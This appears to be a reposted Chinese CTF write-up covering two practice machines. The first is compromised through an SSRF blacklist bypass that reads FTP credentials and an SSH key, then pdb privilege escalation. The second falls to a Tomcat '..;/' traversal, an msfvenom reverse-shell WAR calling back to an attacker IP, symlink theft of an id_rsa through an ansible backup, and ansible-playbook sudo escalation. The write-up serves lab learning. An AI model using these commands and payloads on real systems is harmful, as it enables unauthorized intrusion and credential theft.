迷糊的提权方式以及利用ssrf到最终提权靶机
source link: https://www.secpulse.com/archives/173143.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
迷糊的提权方式以及利用ssrf到最终提权靶机
文章首发于:先知社区
https://xz.aliyun.com/t/10811
目标是国外靶场
打过才知道 学的知识太少了师傅们看看就行 大家都会 要是描述得不对的地方 求指点
本地环境:kali
首先是通过ssrf拿下的靶机
因为是连了vpn的所以可以直接扫目标ip:10.10.11.111拿到目标 只有ip 那就先扫端口nmap -v -sSV -Pn 10.10.11.111 -T4 -sC
没啥信息 只有80端口 那就打开web看看直接访问10.10.11.111
直接访问不了 添加host头
echo “10.10.11.111 forge.xxx” >> /etc/hosts
然后在次访问
能访问了 发现有个上传的地方
发现重命名的后缀名 不解析 上传应该是没办法了 找找其他突破先扫扫目录 和子域名目录:gobuster dir -u http://forge.xxx/ -w /usr/share/wordlists/dirb/common.txt
子域名:wfuzz -c -u “http://forge.xxx/“ -H “Host:FUZZ.forge.xxx” -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt
目录没扫出什么 扫到一个子域名 先进入看看还是不能直接访问 先加入到hostecho “10.10.11.111 admin.forge.xxx” >> /etc/hosts
提示只能本地访问
尝试加上X-Forwarded-For:127.0.0.1绕过失败。但是前面那个上传的地方 还有一个上传路径的地方
但是直接上传会提示是黑名单地址
既然是黑名单 我们尝试绕过
大小写绕过了:http://aDmin.forGe.xxx/然后访问页面发现报错
然后通过抓返回包发现一个路径
然后继续通过ssrf访问这个路径 继续进行抓包http://aDmin.forGe.xxx/announcements
然后访问路径抓取返回包 获得了ftp的密码
user:heightofsecurity123!以及获取/upload目录API用法,u=urlhttp://aDmin.forGe.xxx/upload?u=url
然后结合起来读取ftpftp://user:[email protected]
http://aDmin.forGe.xxx/upload?u=ftp://user:[email protected]
然后继续bp抓返回包
可以成功访问到,也就是说我们现在可以利用ssrf读取系统文件了。user.txt在这就说明现在已经是用户家目录了。读取ssh私钥http://aDmin.forGe.xxx/upload?u=ftp://user:[email protected]/.ssh/id_rsa
用同样的方法读取
然后保存id_rsa
然后ssh连接ssh -i id_rsa [email protected]
成功连接上来
sudo -l 发现一个不需要密码执行的py文件
然后看下这个文件
发现是建立socket链接 监听40433端口 那就先执行这个py文件看看先执行py文件看看 然后在用nc连接
然后在随便输入的时候 发现会调用pdb调试pdb模式下是可以执行python代码的。于是直接给bash加上suid提权
pdb:pdb是The Python Debugger的缩写,为Python标准库的一个模块。该模块规定了一个Python程序交互式源代码调试器,支持设置断点,也支持源码级单步调试,栈帧监视,源代码列出,任意栈帧上下文的随机Python代码估值。
到此 这一台也就提权完毕
第二台 利用ansible-playbook提权
目标ip:10.10.10.250拿到目标还是先扫描端口 进行信息收集
命令:nmap -v -sSV -Pn 10.10.10.250 -T4 -sC发现开了22 443 8080直接先打开8080端口看看
发现是一个登陆框 cms是 gitbucket试了下弱口令 发现不存在 那就注册一个
注册之后然后登录
这应该是一个代码仓库
因为前面还有443端口开发 打开443端口看看
之前nmap扫描出443端口,但是无法访问https,写入hosts尝试登录添加到host 因为扫描出有一个seal.xxx
echo 10.10.10.250 seal.xxx >> /etc/hosts是一个商城 那8080 的的确是443的代码库
然后继续翻代码库 通过找最近commits 在tomcat里面翻到了账户密码
http://10.10.10.250:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7username = tomcatpassword = 42MrHBf*z8{Z%尝试访问tomcat默认登录目录/manager/statushttps://seal.xxx/manager/status
输入找到的账户密码 成功登录
因为前面根据nmap 扫描出tomcat是通过反代的 这样会存在一个问题这个问题这里参考https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/管理界面/manager/html无法访问显示权限不够
这里就可以利用tomcat 和反代的漏洞 用..;/绕过
https://seal.xxx/manager/status/..;/html然后这里有一个上传的地方
然后打包一个war包的shell上传msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.46 LPORT=6666 -f war -o shell.war
在上传之前,请记住一件事。这里存在路径遍历漏洞。所以,你不能直接上传.war文件。唯一的过程是在上传之前修改路径,因此我在Burpsuite中拦截了上传请求以进一步修改。
上传之后 开启监听 然后访问 https://seal.xxx/shell/nc -lvvp 6666
发现还有个luis 这个开始在8080端口里面也发现了
然后在lusi目录下发现user.txt
命令:find / -name user.txt但是查看user.txt的时候发现没有权限
需要提权了
在查看进程的时候发现了一个有趣的进程
命令:ps aux | grep root然后我们看看run.yml文件
发现tomcat只有读的权限cat /opt/backups/playbook/run.yml
第 4 行至关重要。看起来这里脚本copy_links=yes在src和dest文件之间建立了符号链接(As )。然后在第 8 行,它/opt/backups/archives以 gzip 格式备份文件。检查/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录,
发现只有uploads目录可写网上了解搜索一下ansible playbook:https://blog.51cto.com/u_9019400/2385520这个yml是在做文件备份所以创建一个指向luis的id_rsa的软链接文件,我们可以把它放到/uploads目录中命令:ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa然后可以在/opt/backups/archives下看到gz文件 然后解压
然后将压缩文件复制到tmp目录下
命令:tar -xvf t.tar.gz切换到uploads目录然后查看id_rsa
保存到本地然后ssh 连接 但是在连接之前 需要给chmod 600
然后成功查看user.txtcat user.txt
提权root
第一种提权
sudo -l
发现luis不用密码就可以以root 执行ansible-playebook直接在提权网址发现一个提权方式
命令:TF=$(mktemp)echo ‘[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]‘ >$TFsudo ansible-playbook $TF
这样提权太快了提权网址:https://gtfobins.github.io/#
第二种提权:
创建一个root.yml文件
然后:sudo /usr/bin/ansible-playbook root.yml
第三种则是直接复制root.txt 也是创建yml文件
name: Ansible Copy Example Local to Remote
hosts: localhost
tasks:
name: copying file with playbook
become: true
copy:
src: /root/root.txt
dest: /dev/shm
owner: luis
group: luis
mode: 0777
使用sudo /usr/bin/ansible-playbook执行root.yml文件然后在dev/shm下找到root.txt
通过这两个靶机 还是学到了不少 ssrf的利用 通过返回包看见a标签里面有一个路径 然后ssrf读取 发现密钥 到最后通过 pdb提权以及tomcat的..;绕过的方式 然后上传war 拿下shell 以及后面的利用ansible-playbook提权最后 还是知识面不够阿有什么不足 写得不对的地方 求师傅们指点
欢迎大家的关注与分享!!!!!
本文作者:辞令_WhITECat
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/173143.html
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK